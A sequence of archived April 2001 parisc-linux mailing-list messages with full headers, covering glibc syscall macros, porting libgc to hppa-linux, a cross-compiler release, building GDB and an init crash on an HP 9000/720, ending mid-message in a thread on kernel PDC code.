References: <20010406210401.7685C37CDB@carmen.fc.hp.com> <20010407001500.Z9198@linuxcare.com> <20010408202046.B19712@parcelfarce.linux.theplanet.co.uk> <20010409105606.C5790@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620015 17731 80.91.229.3 (22 Nov 2014 01:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:35 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Matt Taggart <taggart@carmen.fc.hp.com>, randolph@tausq.org,
	lamont@hp.com, debian-buildd@list.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 08:35:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62004482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 08:35:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14mcXm-00066G-00; Mon, 09 Apr 2001 15:21:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010409105606.C5790@linuxcare.com>; from rhirst@linuxcare.com on Mon, Apr 09, 2001 at 10:56:06AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10724

On Mon, Apr 09, 2001 at 10:56:06AM +0100, Richard Hirst wrote:
> INLINE_SYSCALL wants a name, and an arg count, not a syscall number, eg:
> 
>   INLINE_SYSCALL(nfsservctl, 3, cmd, argp, resp);
> 
> so passing a syscall number in to syscall() doesn't work, and also
> syscall() won't know how many arguments there are to pass on to
> INLINE_SYSCALL.  Maybe we could just use '6' to get round that.

Yep, that's my thinking.

> Maybe we duplicate INLINE_SYSCALL in sysdeps/unix/sysv/linux/hppa/sysdep.h,
> call the new one INLINE_SYSCALL_NR, and replace 'SYS_ify(name)' with 'name'.
> Then have
> 
> int syscall(int nr, int arg1, int arg, int arg3, int arg4, int arg5, int arg6)
> {
>       return INLINE_SYSCALL_NR(nr, arg1, arg2, arg3, arg4, arg5, arg6);
> }

umm..

#define INLINE_SYSCALL(name, args...) INLINE_SYSCALL_NR(SYS_ify(name), args)

Otherwise, agreed.  This seems like a more robust approach than doing it
in assembler directly, and I don't believe it will be significantly less
efficient.  syscall() is clearly only used in exceptional cases anyway.

Since these packages have clearly never worked up till now, this seems
like an opportune point to change the sizes of these structures if that's
needed in order to get these syscalls implemented efficiently on 32 &
64 bit.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa-linux support needed for libgc5
Date: Mon, 09 Apr 2001 10:32:19 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20010409163219.4C92837CDC@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620015 17734 80.91.229.3 (22 Nov 2014 01:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:35 +0000 (UTC)
Cc: boehm@acm.org, whig@debian.org, taggart@carmen.fc.hp.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 10:29:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8B83482A
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 10:29:49 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 4B13292; Mon,  9 Apr 2001 12:29:45 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 4C92837CDC; Mon,  9 Apr 2001 10:32:19 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10725

Hi HP_PA LINUX hackers,

The package libgc("a conservative garbage collector for C and C++") needs some 
hppa-linux specific changes. Right now it assumes that hppa means HP-UX. The 
upstream source is,

http://www.hpl.hp.com/personal/Hans_Boehm/gc/

and the debian package is named libgc5.

The build uses a program called if_mach to determine the arch/os and it does 
that by looking at the file "gcconfig.h".

In that file(version 5.3 of libgc) the lines 141-148, 979-1016, 1320-1325 are 
the ones we care about.  libgc5 is needed as a build/runtime dependency for 
several packages in Debian, most notably the gcc source package. I will hack 
it for now but we need to get real support added soon. Could somebody with 
more hppa experience take a look at it?

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marc Eisenbarth" <Marc_Eisenbarth@baylor.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] C180 Progress
Date: Mon, 9 Apr 2001 12:05:10 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <BFEMJCMIKMCDNBPBHLNNIEDBCBAA.Marc_Eisenbarth@baylor.edu>
References: <20010409133642.1853737CDB@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620015 17735 80.91.229.3 (22 Nov 2014 01:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:35 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matt Taggart" <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 11:06:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ccis01.baylor.edu (ccis01.baylor.edu [129.62.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7338482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 11:06:40 -0600 (MDT)
Original-Received: from athens (adsl-64-123-132-197.dsl.wacotx.swbell.net [64.123.132.197])
	by ccis01.baylor.edu (8.9.1/8.9.1) with SMTP id MAA1339328;
	Mon, 9 Apr 2001 12:05:21 -0500 (CDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <20010409133642.1853737CDB@carmen.fc.hp.com>
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:10726

what is the status on the new iso? I do not have the resources to boot from
a nfsroot =(

-Marc

-----Original Message-----
From: Matt Taggart [mailto:taggart@carmen.fc.hp.com]
Sent: Monday, April 09, 2001 8:37 AM
To: Marc Eisenbarth
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] C180 Progress



"Marc Eisenbarth" writes...

> What is the statis for a Linux install for an HP C180 Visualize? I tried
to
> install 0.5, but it seems to hang and will not accept input from the
> keyboard after the cd boots up.

IIRC, the C180 requires fixes that are not in the kernel on the 0.5 iso.
Either build a new kernel(and boot from an nfsroot root), or wait for a new
iso.

--
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Boehm, Hans" <hans_boehm@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: hppa-linux support needed for libgc5
Date: Mon, 9 Apr 2001 10:20:12 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <140D21516EC2D3119EE7009027876644049B5D42@hplex1.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620015 17737 80.91.229.3 (22 Nov 2014 01:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:35 +0000 (UTC)
Cc: whig@debian.org
To: "'Matt Taggart'" <taggart@carmen.fc.hp.com>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 11:20:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.hpl.hp.com (deimos.hpl.hp.com [192.6.19.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9233482A
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 11:20:51 -0600 (MDT)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id KAA21439;
	Mon, 9 Apr 2001 10:20:04 -0700 (PDT)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f39HKFS19435;
	Mon, 9 Apr 2001 10:20:15 -0700 (PDT)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 09 Apr 2001 10:20:14 -0700 (Pacific Daylight Time)
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21)
	id <230MDTTY>; Mon, 9 Apr 2001 10:20:14 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10727

If someone can get me an account on a Linux/PA machine, I'd be happy to see
if I can fix that in my current development version, which should make it
trivial to backport the right pieces to 5.3.

Is the Debian package normally built with thread support?  If so, is the
linuxthreads port to PA complete?

Are you trying to port the Java support in gcc?  If so, I believe we also
need a port of libffi to PA-RISC.  This is a more major project that would
be useful for both Linux/PA and HP/UX.  I'd be willing to help, but I don't
have the necessary PA experience.  (I did the libffi port for IA64.)

Hans

> -----Original Message-----
> From: Matt Taggart [mailto:taggart@carmen.fc.hp.com]
> Sent: Monday, April 09, 2001 9:32 AM
> To: parisc-linux@parisc-linux.org
> Cc: boehm@acm.org; whig@debian.org; taggart@carmen.fc.hp.com
> Subject: hppa-linux support needed for libgc5
> 
> 
> Hi HP_PA LINUX hackers,
> 
> The package libgc("a conservative garbage collector for C and 
> C++") needs some 
> hppa-linux specific changes. Right now it assumes that hppa 
> means HP-UX. The 
> upstream source is,
> 
> http://www.hpl.hp.com/personal/Hans_Boehm/gc/
> 
> and the debian package is named libgc5.
> 
> The build uses a program called if_mach to determine the 
> arch/os and it does 
> that by looking at the file "gcconfig.h".
> 
> In that file(version 5.3 of libgc) the lines 141-148, 
> 979-1016, 1320-1325 are 
> the ones we care about.  libgc5 is needed as a build/runtime 
> dependency for 
> several packages in Debian, most notably the gcc source 
> package. I will hack 
> it for now but we need to get real support added soon. Could 
> somebody with 
> more hppa experience take a look at it?
> 
> Thanks,
> 
> -- 
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation
> 
> 




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross compiler available - xc-20010409.tar.gz
Date: Mon, 09 Apr 2001 14:24:25 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20010409202425.CD10E37CDB@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620016 17741 80.91.229.3 (22 Nov 2014 01:33:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 14:21:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92FD7482A
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 14:21:52 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 872AB58D
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 16:21:51 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id CD10E37CDB
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 14:24:25 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10728

I have built a new cross-compiler tarball and placed it at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010409.tar.gz

This is both i386-linux to hppa-linux(with glibc) and i386-linux to 
hppa64-linux(no glibc). Since the last one(March 7) there have been gcc and 
binutils merges and various fixes. As usual the cross-compiler lives in 
/opt/palinux and should be untar'ed from /.

Let me know if you have any problems.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building GDB - how exactly ?
Date: Mon, 09 Apr 2001 22:34:31 +0200
Organization: private
Lines: 21
Approved: news@gmane.org
Message-ID: <3AD21CD6.C0ED4C77@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620016 17743 80.91.229.3 (22 Nov 2014 01:33:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 14:34:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viemta04.chello.at (viemta04.chello.at [195.34.133.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 577D6482A
	for <parisc-linux@parisc-linux.org>; Mon,  9 Apr 2001 14:34:34 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta04.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010409203431.XJVC23009.viemta04@dot.at>
          for <parisc-linux@parisc-linux.org>;
          Mon, 9 Apr 2001 22:34:31 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10729

What are the correct steps to build a working GDB for 

1. HOST = i385-linux, TARGET = hppa-linux + gdbserver !
	(without server already success, but I am not shure, to have
	 done it correctly)

2. Native HPPA-LINUX gdb

I need to debug my `inti' problem

With friendly regards
	Christoph P.


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with `init' on 720 !
Date: Mon, 09 Apr 2001 22:38:32 +0200
Organization: private
Lines: 40
Approved: news@gmane.org
Message-ID: <3AD21DC8.3FFE4F3E@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620017 17750 80.91.229.3 (22 Nov 2014 01:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 14:38:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta04.chello.at (viemta04.chello.at [195.34.133.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBADE482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 14:38:35 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta04.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010409203833.XKBQ23009.viemta04@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 9 Apr 2001 22:38:33 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10730

After many experiments, I can boot the box (9000/720) with many tools,
bash, etc, (see other mails with
	[parisc-linux] Many experiments with 720, but `init' fails
) but I have troubles with init.

Error log:

VFS: Mounted root (nfs filesystem) readonly.
break 0,0: pid=9 command='init'
init[9]: Breakpoint 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102de010 00000000 00000000
r4-7     00000000 00000000 00000000 00000000
r8-11    00000000 00000000 00000000 00000000
r12-15   00000000 00000000 00000040 1012544c
r16-19   13f085c0 13f08000 c804c804 00000001
r20-23   102efcc0 102efcc0 10022800 102efcc0
r24-27   0000002e 00001000 00000000 1024c010
r28-31   00000000 00000000 13f089c0 101312a0
sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000

With friendly regards
	Christoph P.



-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Many experience done on 720, but `init' fails !!
Date: Mon, 09 Apr 2001 14:52:08 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20010409205209.2FF0437CDB@carmen.fc.hp.com>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> 
 <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at> <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk>  <3AD09AFB.EBDFF975@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620017 17752 80.91.229.3 (22 Nov 2014 01:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 14:49:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FAF8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 14:49:36 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id C8AE6294; Mon,  9 Apr 2001 16:49:34 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 2FF0437CDB; Mon,  9 Apr 2001 14:52:09 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Christoph Plattner <christoph.plattner@dot.at> 
   of "Sun, 08 Apr 2001 19:08:11 +0200." <3AD09AFB.EBDFF975@dot.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:10731

Christoph Plattner writes...

> SO I build sash, a also build a bash (shared and static !), I build
> fileutils, text-utils, shell-utils, etc, etc.....
> The system boots with bash and I can mount, run programs, etc....

Good.

> The I build "my own" startup stuff. A /sbin/init.d/xxx , etc/rc.d/xxx
> and so on. I also build a sysvinit-2.78 (and 2.77 before), but the
> `init' has it's problems. The error message is:

Make sure you don't have multiple init's. The kernel will look in several 
places and I don't remember what order it looks in. If you only have one then 
that's the only one it can find :)

Are you still having problems with the init in the base tarball? Is it 
important to you to build your own init? If it is reply privately and maybe I 
can help.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Many experience done on 720, but `init' fails !!
Date: Mon, 09 Apr 2001 23:12:47 +0200
Organization: private
Lines: 85
Approved: news@gmane.org
Message-ID: <3AD225CF.1AF048F1@dot.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> 
	 <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at> <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk>  <3AD09AFB.EBDFF975@dot.at> <20010409205209.2FF0437CDB@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620017 17756 80.91.229.3 (22 Nov 2014 01:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 15:12:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 234F1482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 15:12:54 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010409211248.XLIA19423.viemta06@dot.at>;
          Mon, 9 Apr 2001 23:12:48 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10732

Hello !

Matt Taggart wrote:
> 
> Christoph Plattner writes...
> 
> > SO I build sash, a also build a bash (shared and static !), I build
> > fileutils, text-utils, shell-utils, etc, etc.....
> > The system boots with bash and I can mount, run programs, etc....
> 
> Good.
> 
> > The I build "my own" startup stuff. A /sbin/init.d/xxx , etc/rc.d/xxx
> > and so on. I also build a sysvinit-2.78 (and 2.77 before), but the
> > `init' has it's problems. The error message is:
> 
> Make sure you don't have multiple init's. The kernel will look in several
> places and I don't remember what order it looks in. If you only have one then
> that's the only one it can find :)

I have only one init. But this is not a problem haveing more than one.
In the linux kernel it is very simply to have a "source look"
(init/main.c
bottom of the file). The kernel tries to exec /sbin/init. Only if the
exec fails
(cannot open, load, execute) then the next thing is tried. But if the
init has
a problem later on (faults, execptions, etc)the kernel does not try
other entries.

My problem is in another point. The `init' is also responsible to start
kernel
built-in processes (like kernel threads). They are AFAIK compiled in the
kernel,
the init process only starts and supervise (or only starts) them. With
the command
`ps' those processes are named with `[', `]', like the NFS daemon
`[nfsd]'.
Those procresses have very low pids (2,3,....). So I have to analyse the
code,
what pid=9 will become ? The break happens here !

> 
> Are you still having problems with the init in the base tarball? Is it
> important to you to build your own init? If it is reply privately and maybe I
> can help.

I read from this tarball in thr mailing list.
Is this a new root file system ?
How can I use it.
I have no debian experence, up to now I only had Redhat and formerly
Suse.
Do I need special knowledge ?

It is a hobby of mine, to build everything myself. I `dream' from a
source
directory, where I can say `make install' and a whole Linux is the
result,
of course for very small distribution of embeded Linux or firewall
stuff.
In my private sparetime, "small & embedded" Linux is my hobby and the HP
stuff and HP workstation is for me a perfect
cross-build-lerning-equipment.
>From intel cross to intel, you cannot get any feeling for that. No
resulting
errors, if I get the wrong compiler or tools.
Futher we use GNU cross compiling in the company from SPARC to intel.

With friendly regards
	Christoph  Plattner



> 
> --
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Mon, 09 Apr 2001 15:47:20 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <200104092147.PAA29161@puffin.external.hp.com>
References: <0104041450480D.19560@eeyore.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620017 17759 80.91.229.3 (22 Nov 2014 01:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  9 15:53:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A302482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Apr 2001 15:53:50 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA29161;
	Mon, 9 Apr 2001 15:47:20 -0600
In-Reply-To: Your message of "Wed, 04 Apr 2001 16:04:22 PDT."
             <0104041450480D.19560@eeyore.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10733

Bjorn Helgaas wrote:
> CONFIG_PARISC64 =>
> 	Only possible when CONFIG_PA20 selected
> 	Build 64-bit kernel by using $(CROSS_COMPILE) = hppa64-linux.

rhirst and I don't modify linux/Makefile for CROSS_COMPILE.
Now automagically based on the .config options selected.

> 	cpp predefines __LP64__.
> 
> So is there a reason for testing __LP64__ rather than CONFIG_PARISC64 in 
> the code?  There are a zillion tests for the former and none for the 
> latter, even though the latter seems more direct and obvious.

CONFIG_PARISC64 wasn't available when I wrote my code.
Most of my code uses __LP64__ though I think including linux./config.h
is better since when it changes, the .o's get rebuilt.

> It seems to me that __LP64__ is overloaded for several things.  
> Fundamentally, it is a property of the kernel, i.e., it is compiled to run 
> in wide mode. But we also use it to decide whether to use PDC PAT, which 
> seems like a slightly different question.  If you run a narrow kernel on a 
> C3000, the firmware still supports PDC PAT

